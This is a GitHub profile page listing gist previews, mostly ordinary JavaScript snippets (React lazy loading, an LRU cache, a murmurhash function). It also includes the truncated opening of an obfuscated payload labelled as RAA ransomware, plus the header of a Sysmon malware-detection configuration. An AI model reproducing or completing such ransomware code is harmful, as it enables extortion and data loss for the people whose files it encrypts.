Skip to content

Instantly share code, notes, and snippets.

View nelix's full-sized avatar
🎯
Focusing

Nathan Hutchision nelix

🎯
Focusing
View GitHub Profile
@Antelox
Antelox / RAA.js
Created September 16, 2016 09:46
RAA ransomware - Now payload code heavily obfuscated
var _0xc751 = ["length", "digits", "boolean", "slice", "isNeg", "charAt", "-", "0", "substr", "abs", "", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "min", "charCodeAt", "max", "fromCharCode", " ", "join", "floor", "ceil", "modulus", "mu", "bkplus1", "modulo", "multiplyMod", "powMod", "NoPadding", "PKCS1Padding", "RawEncoding", "NumericEncoding", "number", "chunkSize", "radix", "barrett", "string", "random", "split", "substring", "lib", "Base", "prototype", "mixIn", "init", "hasOwnProperty", "apply", "$super", "extend", "toString", "WordArray", "words", "sigBytes", "stringify", "clamp", "push", "call", "clone", "enc", "Hex", "Latin1", "Utf8", "Malformed UTF-8 data", "parse", "BufferedBlockAlgorithm", "_data", "_nDataBytes", "concat", "blockSize", "_minBufferSize", "splice", "Hasher", "cfg", "reset", "finalize", "HMAC", "algo", "Base64", "_map", "indexOf", "create", "ABCDEFGHIJKLMN
@iammerrick
iammerrick / LazilyLoad.js
Last active August 7, 2019 14:15
Lazily Load Code Declaratively in React + Webpack
import React from 'react';
const toPromise = (load) => (new Promise((resolve) => (
load(resolve)
)));
class LazilyLoad extends React.Component {
constructor() {
super(...arguments);
@tj
tj / Connector.js
Last active November 26, 2019 15:43
import React from 'react'
const bgStyles = {
strokeWidth: 3,
strokeLinejoin: 'round',
strokeLinecap: 'round',
fill: 'none',
stroke: '#c3fdff'
}
if (
process.env.NODE_ENV === 'production' &&
window.__REACT_DEVTOOLS_GLOBAL_HOOK__ &&
Object.keys(window.__REACT_DEVTOOLS_GLOBAL_HOOK__._renderers).length
) {
window.__REACT_DEVTOOLS_GLOBAL_HOOK__._renderers = {}
}
@louisremi
louisremi / lru.js
Created May 17, 2016 15:38
Last Result Used
function LRU(limit) {
this.limit = limit || 1000;
this.map = new Map();
}
LRU.prototype.has = function(key) {
return this.map.has(key);
}
LRU.prototype.set = function(key, value) {
@rauchg
rauchg / README.md
Last active January 6, 2024 07:19
require-from-twitter
@nelix
nelix / async-disto.js
Created March 22, 2016 10:16 — forked from threepointone/async-disto.js
async action creators in disto
/* global fetch*/
import {Dis, act} from 'disto';
let {dispatch, register} = new Dis();
function timeout(t){
return new Promise(resolve =>
setTimeout(()=> resolve(true), t));
}
@threepointone
threepointone / hash.js
Created February 24, 2016 11:34
immutable hashmaps for dummies
// murmurhash2 via https://gist.github.com/raycmorgan/588423
export default function doHash(str, seed) {
var m = 0x5bd1e995;
var r = 24;
var h = seed ^ str.length;
var length = str.length;
var currentIndex = 0;
while (length >= 4) {
@Neo23x0
Neo23x0 / config-client.xml
Last active May 17, 2021 04:14
Sysmon Base Configuration - Workstations
<!--
This is a Microsoft Sysmon configuration to be used on Windows workstations
v0.2.1 December 2016
Florian Roth (with the help and ideas of others)
The focus of this configuration is
- malware detection (execution)
- malware detection (network connections)
- exploit detection
It is not focussed on
@nelix
nelix / example.js
Last active February 11, 2016 21:46
import Expedite from './';
const getTest = async (testContext) => ({true: true, test: 'Hello World', testContext}); // pretend async thing thats not really
const pretendCreatePromise = ({uuid, name}) => Promise.resolve({uuid, name});
export default class Test extends Expedite {
// req: express request object
// context: dependency injection (added at class initialise to avoid singletons)
async get(req, context) { // magically wrapped in try catch in the middleware, checks for this.error then defaults back to the next item in express
const res = await getTest(context); // database or whatever promise